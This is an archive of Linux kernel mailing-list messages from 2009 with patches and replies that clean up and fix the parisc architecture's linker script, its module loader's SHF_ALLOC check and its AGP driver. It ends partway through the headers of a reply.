Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>

From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v2 02/11] parisc: Clean up linker script using new linker script macros.
Date: Thu, 24 Sep 2009 10:36:17 -0400
Lines: 146
Approved: news@gmane.org
Message-ID: <1253802986-8132-3-git-send-email-tabbott@ksplice.com>
References: <1253802986-8132-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253803089 5448 80.91.229.12 (24 Sep 2009 14:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Sep 2009 14:38:09 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752876AbZIXOhI@vger.kernel.org Thu Sep 24 16:38:01 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752876AbZIXOhI@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MqpS7-0001kX-Fi
	for glk-linux-kernel-3@lo.gmane.org; Thu, 24 Sep 2009 16:37:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752876AbZIXOhI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 24 Sep 2009 10:37:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752839AbZIXOhF
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 24 Sep 2009 10:37:05 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:33113 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751884AbZIXOhC (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 24 Sep 2009 10:37:02 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8OEarfv022457;
	Thu, 24 Sep 2009 10:36:54 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8OEaqlE008183;
	Thu, 24 Sep 2009 10:36:53 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253802986-8132-1-git-send-email-tabbott@ksplice.com>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:894045 gmane.linux.ports.parisc:2203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2203>

This patch has the (likely harmless) side effect of moving
.data.init_task inside the _edata.

It also changes the alignment of .data.init_task from 16384 to
THREAD_SIZE, which can in some configurations be larger than 16384.  I
believe that this change fixes a potential bug on those
configurations.

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Acked-by: Sam Ravnborg <sam@ravnborg.org>
---
 arch/parisc/kernel/vmlinux.lds.S |   79 ++------------------------------------
 1 files changed, 4 insertions(+), 75 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index aea1784..3fd66d9 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -77,13 +77,7 @@ SECTIONS
 	 */
 	. = ALIGN(PAGE_SIZE);
 	data_start = .;
-	. = ALIGN(16);
-	/* Exception table */
-	__ex_table : {
-		__start___ex_table = .;
-		*(__ex_table)
-		__stop___ex_table = .;
-	}
+	EXCEPTION_TABLE(16)
 
 	NOTES
 
@@ -94,23 +88,8 @@ SECTIONS
 		__stop___unwind = .;
 	}
 
-	/* rarely changed data like cpu maps */
-	. = ALIGN(16);
-	.data.read_mostly : {
-		*(.data.read_mostly)
-	}
-
-	. = ALIGN(L1_CACHE_BYTES);
 	/* Data */
-	.data : {
-		DATA_DATA
-		CONSTRUCTORS
-	}
-
-	. = ALIGN(L1_CACHE_BYTES);
-	.data.cacheline_aligned : {
-		*(.data.cacheline_aligned)
-	}
+	RW_DATA_SECTION(L1_CACHE_BYTES, PAGE_SIZE, THREAD_SIZE)
 
 	/* PA-RISC locks requires 16-byte alignment */
 	. = ALIGN(16);
@@ -118,17 +97,6 @@ SECTIONS
 		*(.data.lock_aligned)
 	}
 
-	/* nosave data is really only used for software suspend...it's here
-	 * just in case we ever implement it
-	 */
-	. = ALIGN(PAGE_SIZE);
-	__nosave_begin = .;
-	.data_nosave : {
-		*(.data.nosave)
-	}
-	. = ALIGN(PAGE_SIZE);
-	__nosave_end = .;
-
 	/* End of data section */
 	_edata = .;
 
@@ -147,14 +115,6 @@ SECTIONS
 	}
 	__bss_stop = .;
 
-
-	/* assembler code expects init_task to be 16k aligned */
-	. = ALIGN(16384);
-	/* init_task */
-	.data.init_task : {
-		*(.data.init_task)
-	}
-
 #ifdef CONFIG_64BIT
 	. = ALIGN(16);
 	/* Linkage tables */
@@ -172,31 +132,8 @@ SECTIONS
 	/* reserve space for interrupt stack by aligning __init* to 16k */
 	. = ALIGN(16384);
 	__init_begin = .;
-	.init.text : { 
-		_sinittext = .;
-		INIT_TEXT
-		_einittext = .;
-	}
-	.init.data : {
-		INIT_DATA
-	}
-	. = ALIGN(16);
-	.init.setup : {
-		__setup_start = .;
-		*(.init.setup)
-		__setup_end = .;
-	}
-	.initcall.init : {
-		__initcall_start = .;
-		INITCALLS
-		__initcall_end = .;
-	}
-	.con_initcall.init : {
-		__con_initcall_start = .;
-		*(.con_initcall.init)
-		__con_initcall_end = .;
-	}
-	SECURITY_INIT
+	INIT_TEXT_SECTION(16384)
+	INIT_DATA_SECTION(16)
 
 	/* alternate instruction replacement.  This is a mechanism x86 uses
 	 * to detect the CPU type and replace generic instruction sequences
@@ -222,14 +159,6 @@ SECTIONS
 	.exit.data : {
 		EXIT_DATA
 	}
-#ifdef CONFIG_BLK_DEV_INITRD
-	. = ALIGN(PAGE_SIZE);
-	.init.ramfs : {
-		__initramfs_start = .;
-		*(.init.ramfs)
-		__initramfs_end = .;
-	}
-#endif
 
 	PERCPU(PAGE_SIZE)
 	. = ALIGN(PAGE_SIZE);
-- 
1.6.3.3


From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2 03/11] parisc: Remove useless altinstructions code copied from x86.
Date: Thu, 24 Sep 2009 10:36:18 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <1253802986-8132-4-git-send-email-tabbott@ksplice.com>
References: <1253802986-8132-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253803252 6092 80.91.229.12 (24 Sep 2009 14:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Sep 2009 14:40:52 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 24 16:40:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MqpUw-00032E-7Q
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Sep 2009 16:40:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752370AbZIXOii (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Sep 2009 10:38:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752281AbZIXOii
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Sep 2009 10:38:38 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:34206 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752101AbZIXOii (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Sep 2009 10:38:38 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8OEasbq022469;
	Thu, 24 Sep 2009 10:36:54 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8OEarSC008191;
	Thu, 24 Sep 2009 10:36:54 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253802986-8132-1-git-send-email-tabbott@ksplice.com>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2204 gmane.linux.kernel:894049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2204>

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Acked-by: Sam Ravnborg <sam@ravnborg.org>
---
 arch/parisc/kernel/vmlinux.lds.S |   25 -------------------------
 1 files changed, 0 insertions(+), 25 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 3fd66d9..775be27 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -135,31 +135,6 @@ SECTIONS
 	INIT_TEXT_SECTION(16384)
 	INIT_DATA_SECTION(16)
 
-	/* alternate instruction replacement.  This is a mechanism x86 uses
-	 * to detect the CPU type and replace generic instruction sequences
-	 * with CPU specific ones.  We don't currently do this in PA, but
-	 * it seems like a good idea...
-	 */
-	. = ALIGN(4);
-	.altinstructions : {
-		__alt_instructions = .;
-		*(.altinstructions)
-		__alt_instructions_end = .; 
-	} 
-	.altinstr_replacement : {
-		*(.altinstr_replacement)
-	} 
-
-	/* .exit.text is discard at runtime, not link time, to deal with references
-	 *  from .altinstructions and .eh_frame
-	 */
-	.exit.text : {
-		EXIT_TEXT
-	}
-	.exit.data : {
-		EXIT_DATA
-	}

From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH] arch/parisc: correct use of SHF_ALLOC
Date: Sun, 27 Sep 2009 14:21:50 -0400
Organization: nrc.ca
Lines: 45
Approved: news@gmane.org
Message-ID: <20090927182149.GA23464@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.64.0908042226231.3737@ask.diku.dk>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254075725 7573 80.91.229.12 (27 Sep 2009 18:22:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2009 18:22:05 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org
To: Julia Lawall <julia@diku.dk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 20:21:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MryNf-0002ge-On
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Sep 2009 20:21:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750890AbZI0SVu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 14:21:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750879AbZI0SVu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 14:21:50 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2014 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750803AbZI0SVt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 14:21:49 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3C0104FC6; Sun, 27 Sep 2009 14:21:50 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0908042226231.3737@ask.diku.dk>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2205 gmane.linux.kernel:894999 gmane.linux.kernel.janitors:17318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2205>

Hi Kyle,

I noticed today that this change is not in 2.6.31.1.

Dave

On Tue, 04 Aug 2009, Julia Lawall wrote:

> From: Julia Lawall <julia@diku.dk>
> 
> SHF_ALLOC is suitable for testing against the sh_flags field, not the
> sh_type field.
> 
> Signed-off-by: Julia Lawall <julia@diku.dk>
> 
> ---
>  arch/parisc/kernel/module.c         |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
> 
> diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
> index ef5caf2..c904817 100644
> --- a/arch/parisc/kernel/module.c
> +++ b/arch/parisc/kernel/module.c
> @@ -853,7 +853,7 @@ int module_finalize(const Elf_Ehdr *hdr,
>  	 * ourselves */
>  	for (i = 1; i < hdr->e_shnum; i++) {
>  		if(sechdrs[i].sh_type == SHT_SYMTAB
> -		   && (sechdrs[i].sh_type & SHF_ALLOC)) {
> +		   && (sechdrs[i].sh_flags & SHF_ALLOC)) {
>  			int strindex = sechdrs[i].sh_link;
>  			/* FIXME: AWFUL HACK
>  			 * The cast is to drop the const from
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2 0/2] Linker script cleanup patches for parisc
Date: Sun, 27 Sep 2009 23:02:11 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <4ABFD2D3.5050606@gmx.de>
References: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254085346 5575 80.91.229.12 (27 Sep 2009 21:02:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2009 21:02:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>
To: Tim Abbott <tabbott@ksplice.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 23:02:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms0sr-00074i-38
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Sep 2009 23:02:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750890AbZI0VCL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 17:02:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751781AbZI0VCL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 17:02:11 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:47238 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750890AbZI0VCK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 17:02:10 -0400
Original-Received: (qmail invoked by alias); 27 Sep 2009 21:02:12 -0000
Original-Received: from p4FDB3698.dip0.t-ipconnect.de (EHLO halden.box) [79.219.54.152]
  by mail.gmx.net (mp071) with SMTP; 27 Sep 2009 23:02:12 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/7FB4ew+f7UPGAkRPVSLXQgCt9SJ92db8qBjd2Zu
	dBXeGFBp95tu3N
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
In-Reply-To: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2206 gmane.linux.kernel:895027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2206>

On 09/18/2009 10:34 PM, Tim Abbott wrote:
> This is an updated version of the patch series I sent on September 6
> cleaning up the parisc architecture's linker scripts.  [....]
> 	-Tim Abbott
>
> Tim Abbott (2):
>    parisc: Clean up linker script using new linker script macros.
>    parisc: Remove useless altinstructions code copied from x86.
>
>   arch/parisc/kernel/vmlinux.lds.S |  104 ++------------------------------------
>   1 files changed, 4 insertions(+), 100 deletions(-)
  
Tim, thanks for your work!

Sadly it broke the parisc build in two places:
a) THREAD_SIZE can't be used in the vmlinux.lds.S file
b) It generates linker errors like "local symbol 0: discarded in section `.exit.text' from kernel/built-in.o".

Attached patch below fixes both issues. Tested with 32- and 64-bit parisc kernel.

Helge

--------
parisc: Fix linker script breakage.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index 699cf8e..7e76f03 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -287,6 +287,8 @@ int main(void)
  	DEFINE(ASM_PFN_PTE_SHIFT, PFN_PTE_SHIFT);
  	DEFINE(ASM_PT_INITIAL, PT_INITIAL);
  	BLANK();
+	DEFINE(ASM_THREAD_SIZE, THREAD_SIZE);
+	BLANK();
  	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
  	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
  	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 775be27..8347dfc 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -89,7 +89,7 @@ SECTIONS
  	}
  
  	/* Data */
-	RW_DATA_SECTION(L1_CACHE_BYTES, PAGE_SIZE, THREAD_SIZE)
+	RW_DATA_SECTION(L1_CACHE_BYTES, PAGE_SIZE, ASM_THREAD_SIZE)
  
  	/* PA-RISC locks requires 16-byte alignment */
  	. = ALIGN(16);
@@ -135,6 +135,16 @@ SECTIONS
  	INIT_TEXT_SECTION(16384)
  	INIT_DATA_SECTION(16)
  
+	/* we have to discard exit text and such at runtime, not link time */
+	.exit.text :
+	{
+		EXIT_TEXT
+	}
+	.exit.data :
+	{
+		EXIT_DATA
+	}
+
  	PERCPU(PAGE_SIZE)
  	. = ALIGN(PAGE_SIZE);
  	__init_end = .;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: agp: parisc-agp.c - use correct page_mask function
Date: Sun, 27 Sep 2009 23:13:04 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <4ABFD560.9080302@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254085999 7155 80.91.229.12 (27 Sep 2009 21:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2009 21:13:19 +0000 (UTC)
To: David Woodhouse <David.Woodhouse@intel.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	David Airlie <airlied@linux.ie>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 23:13:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms13P-00016P-FU
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Sep 2009 23:13:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750890AbZI0VNF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 17:13:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751421AbZI0VNF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 17:13:05 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:58121 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750890AbZI0VND (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 17:13:03 -0400
Original-Received: (qmail invoked by alias); 27 Sep 2009 21:13:06 -0000
Original-Received: from p4FDB3698.dip0.t-ipconnect.de (EHLO halden.box) [79.219.54.152]
  by mail.gmx.net (mp002) with SMTP; 27 Sep 2009 23:13:06 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18zrtsnKf4zkqPFaWq2zecnl0zXJpxGDzqlk98EZK
	b4gjMZhck/7q0P
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.58
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2207>

This commit:

Commit 2a4ceb6d3e6a566cb4a9dc8f974177f031d27cd7
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Mon Jul 27 10:27:29 2009 +0100
     agp: Switch mask_memory() method to take address argument again, not page

broke the parisc AGP driver (again). This patch fixes it.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/char/agp/parisc-agp.c b/drivers/char/agp/parisc-agp.c
index 60ab751..1c12921 100644
--- a/drivers/char/agp/parisc-agp.c
+++ b/drivers/char/agp/parisc-agp.c
@@ -217,7 +217,7 @@ static const struct agp_bridge_driver parisc_agp_driver = {
  	.configure		= parisc_agp_configure,
  	.fetch_size		= parisc_agp_fetch_size,
  	.tlb_flush		= parisc_agp_tlbflush,
-	.mask_memory		= parisc_agp_page_mask_memory,
+	.mask_memory		= parisc_agp_mask_memory,
  	.masks			= parisc_agp_masks,
  	.agp_enable		= parisc_agp_enable,
  	.cache_flush		= global_cache_flush,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2 0/2] Linker script cleanup patches for parisc
Date: Sun, 27 Sep 2009 17:25:08 -0400 (EDT)
Lines: 70
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.0909271719570.14151@dr-wily.mit.edu>
References: <1253306078-7066-1-git-send-email-tabbott@ksplice.com> <4ABFD2D3.5050606@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1254086747 8838 80.91.229.12 (27 Sep 2009 21:25:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2009 21:25:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 23:25:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms1FT-0003s4-UZ
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Sep 2009 23:25:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751421AbZI0VZa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 17:25:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752221AbZI0VZa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 17:25:30 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:54752 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750955AbZI0VZ3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 17:25:29 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8RLP9rO001857;
	Sun, 27 Sep 2009 17:25:09 -0400 (EDT)
Original-Received: from localhost (DR-WILY.MIT.EDU [18.181.0.233])
	(authenticated bits=0)
